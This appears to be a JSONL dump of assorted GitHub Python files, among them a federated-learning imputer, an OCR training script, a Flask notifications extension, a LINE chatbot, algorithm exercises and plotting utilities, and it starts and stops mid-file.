enumerate(header):\n if replace_method[feature] is None:\n transform_value = 0\n elif replace_method[feature] == consts.MIN:\n transform_value = summary_obj.get_min()[feature]\n elif replace_method[feature] == consts.MAX:\n transform_value = summary_obj.get_max()[feature]\n elif replace_method[feature] == consts.MEAN:\n transform_value = summary_obj.get_mean()[feature]\n elif replace_method[feature] == consts.MEDIAN:\n transform_value = summary_obj.get_median()[feature]\n elif replace_method[feature] == consts.DESIGNATED:\n if isinstance(replace_value, list):\n transform_value = replace_value[i]\n else:\n transform_value = replace_value\n LOGGER.debug(f\"replace value for feature {feature} is: {transform_value}\")\n else:\n raise ValueError(\"Unknown replace method:{}\".format(replace_method))\n cols_transform_value[feature] = transform_value\n\n LOGGER.debug(f\"cols_transform value is: {cols_transform_value}\")\n cols_transform_value = [cols_transform_value[key] for key in header]\n # cols_transform_value = {i: round(cols_transform_value[key], 6) for i, key in enumerate(header)}\n LOGGER.debug(f\"cols_transform value is: {cols_transform_value}\")\n return cols_transform_value\n\n @staticmethod\n def _transform_nan(instance):\n feature_shape = instance.features.shape[0]\n new_features = []\n\n for i in range(feature_shape):\n if instance.features[i] != instance.features[i]:\n new_features.append(NoneType())\n else:\n new_features.append(instance.features[i])\n new_instance = copy.deepcopy(instance)\n new_instance.features = np.array(new_features)\n return new_instance\n\n def __fit_replace(self, data, replace_method, replace_value=None, output_format=None,\n col_replace_method=None):\n replace_method_per_col, skip_cols = self.__get_cols_transform_method(data, replace_method, col_replace_method)\n\n schema = data.schema\n if isinstance(data.first()[1], Instance):\n data = data.mapValues(lambda v: Imputer._transform_nan(v))\n data.schema = schema\n cols_transform_value = self.__get_cols_transform_value(data, replace_method_per_col,\n replace_value=replace_value)\n self.skip_cols = skip_cols\n skip_cols = [get_header(data).index(v) for v in skip_cols]\n if output_format is not None:\n f = functools.partial(Imputer.replace_missing_value_with_cols_transform_value_format,\n transform_list=cols_transform_value, missing_value_list=self.abnormal_value_set,\n output_format=output_format, skip_cols=set(skip_cols))\n else:\n f = functools.partial(Imputer.replace_missing_value_with_cols_transform_value,\n transform_list=cols_transform_value, missing_value_list=self.abnormal_value_set,\n skip_cols=set(skip_cols))\n\n transform_data = data.mapValues(f)\n self.cols_replace_method = replace_method_per_col\n LOGGER.info(\n \"finish replace missing value with cols transform value, replace method is {}\".format(replace_method))\n return transform_data, cols_transform_value\n\n def __transform_replace(self, data, transform_value, replace_area, output_format, skip_cols):\n skip_cols = [get_header(data).index(v) for v in skip_cols]\n\n schema = data.schema\n if isinstance(data.first()[1], Instance):\n data = data.mapValues(lambda v: Imputer._transform_nan(v))\n data.schema = schema\n\n if replace_area == 'all':\n if output_format is not None:\n f = functools.partial(Imputer.replace_missing_value_with_replace_value_format,\n replace_value=transform_value, missing_value_list=self.abnormal_value_set,\n output_format=output_format)\n else:\n f = functools.partial(Imputer.replace_missing_value_with_replace_value,\n replace_value=transform_value, missing_value_list=self.abnormal_value_set)\n elif replace_area == 'col':\n if output_format is not None:\n f = functools.partial(Imputer.replace_missing_value_with_cols_transform_value_format,\n transform_list=transform_value, missing_value_list=self.abnormal_value_set,\n output_format=output_format,\n skip_cols=set(skip_cols))\n else:\n f = functools.partial(Imputer.replace_missing_value_with_cols_transform_value,\n transform_list=transform_value, missing_value_list=self.abnormal_value_set,\n skip_cols=set(skip_cols))\n else:\n raise ValueError(\"Unknown replace area {} in Imputer\".format(replace_area))\n\n return data.mapValues(f)\n\n @staticmethod\n def __get_impute_number(some_data):\n impute_num_list = None\n data_size = None\n\n for line in some_data:\n processed_data = line[1][0]\n index_list = line[1][1]\n if not data_size:\n if isinstance(processed_data, Instance):\n data_size = data_overview.get_instance_shape(processed_data)\n else:\n data_size = len(processed_data)\n # data_size + 1, the last element of impute_num_list used to count the number of \"some_data\"\n impute_num_list = [0 for _ in range(data_size + 1)]\n\n impute_num_list[data_size] += 1\n for index in index_list:\n impute_num_list[index] += 1\n\n return np.array(impute_num_list)\n\n def __get_impute_rate_from_replace_data(self, data):\n impute_number_statics = data.applyPartitions(self.__get_impute_number).reduce(lambda x, y: x + y)\n cols_impute_rate = impute_number_statics[:-1] / impute_number_statics[-1]\n\n return cols_impute_rate\n\n def fit(self, data, replace_method=None, replace_value=None, output_format=consts.ORIGIN,\n col_replace_method=None):\n \"\"\"\n Apply imputer for input data\n Parameters\n ----------\n data: Table, each data's value should be list\n replace_method: str, the strategy of imputer, like min, max, mean or designated and so on. Default None\n replace_value: str, if replace_method is designated, you should assign the replace_value which will be used to replace the value in imputer_value_list\n output_format: str, the output data format. The output data can be 'str', 'int', 'float'. Default origin, the original format as input data\n col_replace_method: dict of (col_name, replace_method), any col_name not included will take replace_method\n\n Returns\n ----------\n fit_data:data_instance, data after imputer\n cols_transform_value: list, the replace value in each column\n \"\"\"\n if output_format not in self.support_output_format:\n raise ValueError(\"Unsupport output_format:{}\".format(output_format))\n\n output_format = self.support_output_format[output_format]\n\n if isinstance(replace_method, str):\n replace_method = replace_method.lower()\n if replace_method not in self.support_replace_method:\n raise ValueError(\"Unknown replace method:{}\".format(replace_method))\n elif replace_method is None and col_replace_method is None:\n if isinstance(data.first()[1], Instance):\n replace_value = 0\n else:\n replace_value = '0'\n elif replace_method is None and col_replace_method is not None:\n LOGGER.debug(f\"perform computation on selected cols only: {col_replace_method}\")\n else:\n raise ValueError(\"parameter replace_method should be str or None only\")\n if isinstance(col_replace_method, dict):\n for col_name, method in col_replace_method.items():\n method = method.lower()\n if method not in self.support_replace_method:\n raise ValueError(\"Unknown replace method:{}\".format(method))\n col_replace_method[col_name] = method\n\n process_data, cols_transform_value = self.__fit_replace(data, replace_method, replace_value, output_format,\n col_replace_method=col_replace_method)\n\n self.cols_fit_impute_rate = self.__get_impute_rate_from_replace_data(process_data)\n process_data = process_data.mapValues(lambda v: v[0])\n process_data.schema = data.schema\n\n return process_data, cols_transform_value\n\n def transform(self, data, transform_value, output_format=consts.ORIGIN, skip_cols=None):\n \"\"\"\n Transform input data using Imputer with fit results\n Parameters\n ----------\n data: Table, each data's value should be list\n transform_value:\n output_format: str, the output data format. The output data can be 'str', 'int', 'float'. Default origin, the original format as input data\n\n Returns\n ----------\n transform_data:data_instance, data after transform\n \"\"\"\n if output_format not in self.support_output_format:\n raise ValueError(\"Unsupport output_format:{}\".format(output_format))\n\n output_format = self.support_output_format[output_format]\n skip_cols = [] if skip_cols is None else skip_cols\n\n # Now all of replace_method is \"col\", remain replace_area temporarily\n # replace_area = self.support_replace_area[replace_method]\n replace_area = \"col\"\n process_data = self.__transform_replace(data, transform_value, replace_area, output_format, skip_cols)\n self.cols_transform_impute_rate = self.__get_impute_rate_from_replace_data(process_data)\n process_data = process_data.mapValues(lambda v: v[0])\n process_data.schema = data.schema\n\n return process_data\n","repo_name":"FederatedAI/FATE","sub_path":"python/federatedml/feature/imputer.py","file_name":"imputer.py","file_ext":"py","file_size_in_byte":18463,"program_lang":"python","lang":"en","doc_type":"code","stars":5296,"dataset":"github-code","pt":"53"}
+{"seq_id":"28896777517","text":"\"\"\"\nKeep parsing over the array and if adjescent elements are in wrong order\nswap them until there are no swaps \nBy the ith traversal the last i elements will already be in the correct position\n\"\"\"\n\ndef bubbleSort(A):\n n = len(A)\n for i in range(n):\n swaps = False\n for j in range(0, n-i-1):\n if A[j] > A[j+1]:\n A[j], A[j+1] = A[j+1], A[j]\n swaps = True\n if not swaps:\n break\n print(A)\n return A\n\nbubbleSort([1, 2, 3, 4, 5, 6, 7, 7, 8, 9])","repo_name":"yashodeepchikte/CP","sub_path":"8-Sorting/2-BubbleSort.py","file_name":"2-BubbleSort.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71046134249","text":"#!/usr/bin/env python3\n\ntry:\n arquivo = open('/home/kami/Projetos/Cod3r/Manipulação_Arquivo/pessoas.csv') \n\n for registro in arquivo:\n print('Nome: {}, Idade: {}'.format(*registro.strip().split(',')))\n \nfinally:\n print('finally')\n arquivo.close()\n\n#mesmo se der erro ou acerto no try 'o bloco', ele vai passar pelo finally, ou seja, oq tiver no finally, vai ser executado\n\n\nif arquivo.closed:\n print('Arquivo ja foi fechado')","repo_name":"kamibarreto/Cod3r","sub_path":"Manipulação_Arquivo/io_4.py","file_name":"io_4.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8516931375","text":"width = int(input())\nlength = int(input())\nheight = int(input())\n\ntotal_space = width * length * height\n\nleft_space = total_space\n\ncommand = input() # \"Done\" OR integer as string, e.g. \"13\", \"22\", ...\nwhile command != \"Done\":\n current_box = int(command)\n left_space -= current_box\n if left_space <= 0: # has value of non-positive, e.g. \"-22\"\n break\n\n command = input()\n\nif command == \"Done\":\n print(f\"{left_space} Cubic meters left.\")\nelse:\n print(f\"No more free space! You need {-left_space} Cubic meters more.\") # e.g. \"-22\" => \"22\"\n","repo_name":"SimeonChifligarov/SoftUni_as_Lecturer","sub_path":"Python_Courses/Python_Basics/Python_PB_2023_04/05_While_Loop_Exercise/07_Moving.py","file_name":"07_Moving.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"16356842284","text":"import speech_recognition as sr\nimport os, time\nimport sounddevice as sd\n\n\nr = sr.Recognizer()\nprint(\"Recording...\")\nfs = 48000\nduration=5\naudio_data = sd.rec(int(duration * fs), samplerate=fs, channels=1)\ntime.sleep(5)\nprint(audio_data)\n\n# return audio from that array\n\n'''\n# read the audio data from the default microphone\nprint(\"Recognizing...\")\n# convert speech to text\ntext = r.recognize_google(audio_data, 'it-IT')\nprint(text)\n'''\n","repo_name":"teschiopol/teddy","sub_path":"from_mic.py","file_name":"from_mic.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39044573976","text":"import argparse\r\nimport logging\r\nimport sys\r\nimport torch\r\nfrom torch.backends import cudnn\r\nfrom crnn import Attention_ocr\r\nimport losses\r\nfrom dataset import get_dataset\r\nfrom train_engine import Train_Engine\r\n\r\nimport os\r\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'\r\n\r\n\r\nparser=argparse.ArgumentParser()\r\nparser.add_argument('--TRAIN_DIR',default='/mnt/disk2/std2021/hejiabang-data/OCR/attention_img/ch_train.txt')\r\nparser.add_argument('--TEST_DIR',default='/mnt/disk2/std2021/hejiabang-data/OCR/attention_img/ch_test.txt')\r\nparser.add_argument('--num_workers',type=int,default=0,help='number of data loading workers')\r\nparser.add_argument('--batch_size',type=int,default=4,help='input batch size')\r\nparser.add_argument('--input_h',type=int,default=32,help='the height of the input image to network')\r\nparser.add_argument('--input_w',type=int,default=100,help='the width of the input image to network')\r\nparser.add_argument('--max_seq_len',type=int,default=10,help='the max sequence length')\r\nparser.add_argument('--use_gpu',action='store_true',default=False,help='enable cuda')\r\nparser.add_argument('--epochs',type=int,default=300,help='training epoc')\r\nparser.add_argument('--lr',type=float,default=0.001,help='learning rate for Critic,default=0.000005')\r\nparser.add_argument('--print_interval',type=int,default=100,help='how many iterations to print')\r\nparser.add_argument('--eval_step',type=int,default=1,help='how many epochs to evaluate')\r\nparser.add_argument('--save_step',type=int,default=1,help='how many epochs to save models')\r\nparser.add_argument('--save_dir',type=str,default='../data/ocr',help='save model directory')\r\nopt=parser.parse_args()\r\n\r\nlogging.basicConfig(\r\n level=logging.INFO,#打印日志级别数值\r\n format='%(asctime)s: %(message)s',#输出时间和信息\r\n stream=sys.stdout #指定日志的输出流\r\n)\r\n\r\ncudnn.benchmark=True\r\n\r\n\r\nlogging.info('===================Start Traning===================')\r\ntrain_data,test_data,char_to_index,index_to_char,n_class=get_dataset(opt)\r\n\r\n\r\nnet=Attention_ocr(use_gpu=opt.use_gpu,NUM_CLASS=n_class)\r\n\r\noptimizer=torch.optim.Adam(net.parameters(),lr=opt.lr,betas=(0.9,0.999))\r\ncriterion=losses.Attention_loss()\r\n\r\n\r\nnet=torch.nn.DataParallel(net)\r\n\r\n\"\"\"for i, data in enumerate(train_data):\r\n imgs, labels = data\r\n print(imgs.shape,labels.shape)\r\n break\"\"\"\r\n#net=net.cuda()\r\nmodel=Train_Engine(net)\r\nmodel.fit(index_to_char,train_data=train_data, test_data=test_data, optimizer=optimizer, criterion=criterion, epochs=opt.epochs,\r\n print_interval=opt.print_interval, eval_step=opt.eval_step, save_step=opt.save_step, save_dir=opt.save_dir, use_gpu=opt.use_gpu)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Tsukinousag1/Attention_OCR","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"93352456","text":"from importlib import import_module\n\nfrom flask import current_app, Response\nfrom flask_celeryext import FlaskCeleryExt\nfrom werkzeug.local import LocalProxy\n\nfrom flask_notifications.consumers.push.ssenotifier import SseNotifier\nfrom flask_notifications.event_hub import EventHub\nfrom .version import __version__\n\n\nclass Notifications(object):\n \"\"\"Flask extension implementing a Notification service.\"\"\"\n\n def __init__(self, app=None, celery=None, broker=None, *args, **kwargs):\n \"\"\"Initialize the notification service.\n\n :param app: Application to extend\n :param celery: Optional celery instance to be used (it must\n be already set up with the proper config)\n :param broker: Optional broker instance to be used (it must be\n already set up with the proper config)\n \"\"\"\n self.app = app\n self.celery = celery\n self.broker = broker\n self._hubs = {}\n self._notifiers = {}\n\n if app is not None:\n self.init_app(app, celery, broker, *args, **kwargs)\n\n def init_app(self, app, celery=None, broker=None, *args, **kwargs):\n \"\"\"Initialization of the Flask-notifications extension.\"\"\"\n self.app = app\n\n # Follow the Flask guidelines on usage of app.extensions\n if not hasattr(app, 'extensions'):\n app.extensions = {}\n if 'notifications' in app.extensions:\n raise RuntimeError(\"Flask notification extension is \"\n \"already initialized.\")\n\n # Celery dependency\n if celery is None:\n self.celery = FlaskCeleryExt(app)\n else:\n self.celery = celery\n\n # Broker dependency, mandatory\n self.broker = broker\n\n # Dynamic import from class name of backend\n default_backend = \\\n \"flask_notifications.backend.redis_backend.RedisBackend\"\n backend_option = self.app.config[\"BACKEND\"] or default_backend\n backend_option = backend_option.split(\".\")\n module, classname = backend_option[0:-1], backend_option[-1]\n\n imported_module = import_module(\".\".join(module))\n self.backend = getattr(imported_module, classname)\n\n # Register extension in Flask app\n app.extensions['notifications'] = self\n\n app.context_processor(\n lambda: dict(current_notifications=current_notifications)\n )\n\n def send(self, event):\n \"\"\"Send an event through to all the hubs.\"\"\"\n def consume(hub):\n hub.consume(event)\n map(consume, self._hubs.itervalues())\n\n def sse_notifier_for(self, hub_id):\n \"\"\"Create a :class SseNotifier: listening to a hub.\"\"\"\n try:\n sse_notifier = self._notifiers[hub_id]\n except KeyError:\n sse_notifier = SseNotifier(self.create_backend(), hub_id)\n self._notifiers[hub_id] = sse_notifier\n\n return sse_notifier\n\n def flask_sse_notifier(self, hub_id):\n \"\"\"Create a Flask :class Response: that will push notifications.\"\"\"\n return Response(self.sse_notifier_for(hub_id),\n mimetype='text/event-stream')\n\n def create_hub(self, hub_alias):\n \"\"\"Create an EventHub to aggregate certain types of events.\"\"\"\n hub = EventHub(hub_alias, self.celery)\n self._hubs[hub.hub_id] = hub\n return hub\n\n def create_backend(self):\n \"\"\"Create a PublishSubscribe instance from the specified broker.\"\"\"\n return self.backend(self.broker)\n\n @staticmethod\n def root():\n \"\"\"Return a root entry of current application's menu.\"\"\"\n return current_app.extensions['notifications']\n\n\ncurrent_notifications = LocalProxy(Notifications.root)\n\n__all__ = ('current_notifications', 'Notifications', '__version__')\n","repo_name":"inveniosoftware-contrib/flask-notifications","sub_path":"flask_notifications/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"53"}
+{"seq_id":"1609014122","text":"import heapq as hpq\nN, K = map(int, input().split())\n\ncoins = []\nfor _ in range(N):\n hpq.heappush(coins, -int(input()))\n\ncount = 0\nwhile K != 0:\n coin = -hpq.heappop(coins)\n count += K // coin\n K %= coin\n\nprint(count)","repo_name":"MoHoDu/BOJ_CSharp_Python","sub_path":"백준/Silver/11047. 동전 0/동전 0.py","file_name":"동전 0.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"5144376113","text":"\"\"\"\nGiven the root of a binary tree, return the level order traversal of its nodes' values.\n(i.e., from left to right, level by level).\n\nExample 1:\n Input: root = [3,9,20,null,null,15,7]\n Output: [[3],[9,20],[15,7]]\n\nExample 2:\n Input: root = [1]\n Output: [[1]]\n\nExample 3:\n Input: root = []\n Output: []\n\"\"\"\nfrom collections import deque\nfrom typing import Optional, List\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\ndef level_order(root: Optional[TreeNode]) -> List[List[int]]:\n res = []\n if not root:\n return res\n\n queue = deque()\n queue.appendleft(root)\n while queue:\n level = []\n length = len(queue)\n for i in range(length):\n node = queue.pop()\n level.append(node.val)\n left = node.left\n right = node.right\n if left:\n queue.appendleft(left)\n if right:\n queue.appendleft(right)\n\n res.append(level)\n\n return res\n\n\nroot1 = TreeNode(1, TreeNode(2), TreeNode(3))\n\nroot2 = TreeNode(1, left=TreeNode(2))\n\nnode1 = TreeNode(2, TreeNode(4), TreeNode(5))\nroot3 = TreeNode(1, node1, TreeNode(3))\n\nprint(level_order(root1))\nprint(level_order(root2))\nprint(level_order(root3))\n","repo_name":"pushpa66/Learn-data-structures-and-algorithms-in-python","sub_path":"75/Q62 Binary Tree Level Order Traversal_BFS_Leetcode 102.py","file_name":"Q62 Binary Tree Level Order Traversal_BFS_Leetcode 102.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26325888134","text":"from django.conf import settings\n\nfrom linebot import LineBotApi\nfrom linebot.models import TextSendMessage\n\nimport http.client, json\nfrom PythyAPI.models import users\n\nline_bot_api = LineBotApi(settings.LINE_CHANNEL_ACCESS_TOKEN)\n\nhost = 'runnableqna.azurewebsites.net' #主機\nendpoint_key = \"21191be3-17c2-4433-a13f-b80cd2597ec2\" #授權碼\nkb = \"bb0bd10e-1088-4e9e-9aed-661efdcded39\" #GUID碼\nmethod = \"/qnamaker/knowledgebases/\" + kb + \"/generateAnswer\"\n\ndef sendQnA(event, mtext, userid): #QnA\n question = {\n 'question': mtext,\n }\n content = json.dumps(question)\n headers = {\n 'Authorization': 'EndpointKey ' + endpoint_key,\n 'Content-Type': 'application/json',\n 'Content-Length': len(content)\n }\n conn = http.client.HTTPSConnection(host)\n conn.request (\"POST\", method, content, headers)\n response = conn.getresponse ()\n result = json.loads(response.read())\n result1 = result['answers'][0]['answer']\n if 'No good match' in result1:\n text1 = '很抱歉,資料庫中無適當解答!\\n請再輸入問題。'\n #將沒有解答的問題寫入資料庫\n #userid = event.source.user_id\n #unit = users.objects.create(uid=userid, question=mtext)\n #unit.save()\n unit = users.objects.get(uid=userid)\n unit.question = mtext\n unit.save()\n else:\n result2 = result1[2:] #移除「A:」\n text1 = result2 \n message = TextSendMessage(alt_text=\"從資料庫找的回答\",text = text1)\n line_bot_api.reply_message(event.reply_token,message)\n","repo_name":"SoowiiXie/lineBotPython","sub_path":"module/func8QnA.py","file_name":"func8QnA.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"75320547048","text":"def missing(A):\n size = len(A)\n if size == 0:\n return 1\n total = 0\n for i in range(1, size+2):\n total +=i\n\n return total - sum(A)\nA = [1,6,3,2,5]\nprint(missing(A))\n","repo_name":"dudepare/sharper-saw","sub_path":"python/missing.py","file_name":"missing.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"5144666738","text":"# to get the values associated with a key, give the name of the dictionary and then the place inside the set of brackets\r\n\r\n# for example\r\n\r\nalien_0 = {\"colour\": \"green\"}\r\nprint(alien_0[\"colour\"])\r\n\r\n# you can have an unlimited number of key values in a dictionary.\r\n\r\nalien_0 = {\"colour\": \"green\", \"points\": 5}\r\n\r\n# now alien_0 has two key values pairs\r\n# i can access either the colour or point value of alien_0 both of which i can look up\r\n\r\n# for example if a player shoots down this alien, you can look up how many points they should earn like this\r\n\r\nnew_points = alien_0[\"points\"] # code pulls value \"points\" from the dictionary\r\nprint(\"You just earned \" + str(new_points) + \" points!\")\r\n\r\n","repo_name":"JamCrumpet/Lesson-notes","sub_path":"Lesson 5 dictionaries/5.3_accessing_values_in_a_dictionary.py","file_name":"5.3_accessing_values_in_a_dictionary.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"7660190536","text":"import random\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy.spatial import cKDTree\n\n\ndef sort_point_sequence(outline):\n min_dists, min_dist_idx = cKDTree(outline).query(outline, 10)\n min_dists = min_dists[:, 1:]\n min_dist_idx = min_dist_idx[:, 1:]\n new_outline = []\n used_idxs = []\n pidx = random.choice(range(len(outline)))\n new_outline.append(outline[pidx])\n used_idxs.append(pidx)\n while len(new_outline) < len(outline):\n print(\"CURRENT P =\", pidx)\n print(\"USED idxs =\", used_idxs)\n print(min_dist_idx[pidx, :])\n a = len(used_idxs)\n for id in min_dist_idx[pidx, :]:\n if id not in used_idxs:\n print(id)\n new_outline.append(outline[id])\n used_idxs.append(id)\n pidx = id\n break\n if len(used_idxs) == a:\n raise Exception(\"Improve you point drawing, this is a bit embarrasing\")\n\n return np.array(new_outline), used_idxs\n\n\ndef increase_point_resolution(rounds, outline):\n for r in range(rounds):\n if r == 0:\n pre_outline = np.copy(outline)\n else:\n pre_outline = np.copy(newoutline_new)\n newoutline_new = np.copy(pre_outline)\n i = 0\n while i < len(pre_outline) * 2 - 2:\n newpoint = np.array(\n [\n np.rint((newoutline_new[i] + newoutline_new[i + 1]) / 2).astype(\n \"int32\"\n )\n ]\n )\n newoutline_new = np.insert(newoutline_new, i + 1, newpoint, axis=0)\n i += 2\n newpoint = np.array(\n [np.rint((pre_outline[-1] + pre_outline[0]) / 2).astype(\"int32\")]\n )\n newoutline_new = np.insert(newoutline_new, 0, newpoint, axis=0)\n return newoutline_new\n\n\noutline = np.array(\n [\n [347, 236],\n [343, 242],\n [348, 255],\n [361, 257],\n [364, 248],\n [360, 237],\n [354, 256],\n [354, 235],\n [352, 237],\n [346, 242],\n ]\n)\n\nrounds = np.ceil(np.log2(150 / len(outline))).astype(\"int32\")\n\noutline_new = increase_point_resolution(rounds, outline)\nnewoutline, usedidxs = sort_point_sequence(outline)\nnewoutline_new = increase_point_resolution(rounds, newoutline)\n\nfig1, ax = plt.subplots(1, 2, figsize=(10, 5))\nax[0].scatter(outline[:, 0], outline[:, 1], s=100, label=\"unsorted original\")\nfor id, point in enumerate(outline):\n ax[0].annotate(str(id), point, c=\"k\")\nax[0].scatter(outline_new[:, 0], outline_new[:, 1], s=20, label=\"unsorted high res\")\nax[0].set_ylim(230, 260)\nax[0].set_xlim(340, 370)\nax[0].set_title(\"UNSORTED\")\nax[0].legend()\nax[1].scatter(newoutline[:, 0], newoutline[:, 1], s=100, label=\"sorted original\")\nfor id, point in enumerate(newoutline):\n ax[1].annotate(str(id), point, c=\"k\")\nax[1].scatter(newoutline_new[:, 0], newoutline_new[:, 1], s=20, label=\"sorted high res\")\nax[1].set_ylim(230, 260)\nax[1].set_xlim(340, 370)\nax[1].set_title(\"SORTED\")\nax[1].legend()\nplt.show()\n","repo_name":"dsb-lab/embdevtools","sub_path":"tests/increase_resolution_outline.py","file_name":"increase_resolution_outline.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"1889282429","text":"import numpy as np\nimport random\n\nfrom skspatial.objects import Plane, Point\n\n\ndef unit_vector(vector):\n return vector / np.linalg.norm(vector)\n\n\ndef get_local_points_fast(points, centers, h, max_local_points=50000):\n # Get local_points points around this center point\n local_indices = []\n for center in centers:\n x, y, z = center\n\n # 1) first get the square around the center\n where_square = ((points[:, 0] >= (x - h)) & (points[:, 0] <= (x + h)) & (points[:, 1] >= (y - h)) &\n (points[:, 1] <= (y + h)) & (points[:, 2] >= (z - h)) & (points[:, 2] <= (z + h)))\n\n square = points[where_square]\n indices_square = np.where(where_square == True)[0]\n\n # Get points which comply to x^2, y^2, z^2 <= r^2\n square_squared = np.square(square - center)\n where_sphere = np.sum(square_squared, axis=1) <= h ** 2\n local_sphere_indices = indices_square[where_sphere]\n\n local_indices.append(local_sphere_indices)\n\n if len(local_indices) > max_local_points:\n return random.sample(local_indices, max_local_points)\n\n return local_indices\n\n\ndef get_local_points(kdt, centers, h, max_local_points=50000):\n # Get local_points points around this center point\n local_indices = []\n for center in centers:\n k, idx, _ = kdt.search_radius_vector_3d(center, radius=h)\n\n indices = list(idx[1:])\n if len(indices) > max_local_points:\n return random.sample(indices, max_local_points)\n\n local_indices.append(indices)\n\n if len(local_indices) > max_local_points:\n return random.sample(local_indices, max_local_points)\n return local_indices\n\n\ndef project_one_point(q, p, n):\n \"\"\"\n :param q: a point\n :param p: the point on the plane\n :param n: the normal vector of the plane\n :return: the projected point\n \"\"\"\n plane = Plane(point=p, normal=n)\n pt = Point(q)\n return plane.project_point(pt)\n\n\ndef plane_dist(q, p, n):\n \"\"\"\n :param q: a point\n :param p: a point on plane\n :param n: the normal vector of the plane\n :return:\n \"\"\"\n pq = q - p\n dot = np.dot(pq, n)\n ret = dot / np.linalg.norm(n)\n if not np.isfinite([ret]).all():\n return 0x7fffffff\n return ret\n","repo_name":"SmartPolarBear/l1skeleton_py","sub_path":"skeleton/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2266,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"53"}
+{"seq_id":"26331520888","text":"# Definition for a binary tree node.\nfrom typing import Optional, List\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n def findDuplicateSubtrees(self, root: Optional[TreeNode]) -> List[Optional[TreeNode]]:\n hist = {}\n ans = []\n def dfs(root: Optional[TreeNode]) -> str:\n if not root:\n return \"#\"\n s = \"\"\n s += str(root.val) + \".\" + dfs(root.left) + \".\" + dfs(root.right)\n if s in hist:\n hist[s] += 1\n if hist[s] == 2:\n ans.append(root)\n else:\n hist[s] = 1\n return s\n dfs(root)\n return ans","repo_name":"curlyapollo/leetcode","sub_path":"binary_tree/find_duplicate_subtrees/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"}
+{"seq_id":"15583069100","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import animation\nfrom functools import partial\nfrom typing import List, Tuple\nfrom NanoParticleTools.inputs.nanoparticle import NanoParticleConstraint\nfrom pymatgen.vis.structure_vtk import EL_COLORS\n\nDEFAULT_COLOR_MAP = {\n 'Yb': 'tab:blue',\n 'Er': 'tab:orange',\n 'Nd': 'tab:green',\n 'Tm': 'tab:red',\n 'Other': 'lightgrey',\n 'Y': 'white'\n}\n\n\ndef plot_nanoparticle_from_arrays(radii: np.array,\n concentrations: np.array,\n dpi=150,\n as_np_array=False,\n elements=['Yb', 'Er', 'Nd']):\n if 'Y' not in elements:\n elements = elements + ['Y']\n\n # Fill in the concentrations with Y\n concentrations_with_y = np.concatenate(\n (concentrations, 1 - concentrations.sum(axis=1, keepdims=True)),\n axis=1)\n\n colors = [\n DEFAULT_COLOR_MAP[el]\n if el in DEFAULT_COLOR_MAP else DEFAULT_COLOR_MAP['Other']\n for el in elements\n ]\n # cmap = plt.colormaps[\"tab10\"]\n # colors = cmap(np.arange(4))\n # # colors[:3] = colors[1:]\n # colors[-1] = [1, 1, 1, 1]\n\n fig = plt.figure(figsize=(5, 5), dpi=dpi)\n ax = fig.subplots()\n\n for i in range(concentrations.shape[0], 0, -1):\n ax.pie(concentrations_with_y[i - 1],\n radius=radii[i] / radii[-1],\n colors=colors,\n wedgeprops=dict(edgecolor='k', linewidth=0.25),\n startangle=90)\n ax.legend(elements, loc='upper left', bbox_to_anchor=(0.84, 0.95))\n plt.tight_layout()\n if as_np_array:\n # If we haven't already shown or saved the plot, then we need to\n # draw the figure first.\n fig.canvas.draw()\n\n # Now we can save it to a numpy array.\n data = np.frombuffer(fig.canvas.tostring_rgb(), dtype=np.uint8)\n data = data.reshape(fig.canvas.get_width_height()[::-1] + (3, ))\n\n # Close the figure to remove it from the buffer\n plt.close(fig)\n return data\n else:\n return fig\n\n\ndef plot_nanoparticle(constraints,\n dopant_specifications,\n dpi=150,\n as_np_array=False,\n elements=['Yb', 'Er', 'Nd']):\n if 'Y' not in elements:\n elements = elements + ['Y']\n\n n_layers = len(constraints)\n radii = [0] + [constraint.radius for constraint in constraints]\n dopant_dict = [{key: 0 for key in elements} for _ in range(n_layers)]\n for dopant in dopant_specifications:\n 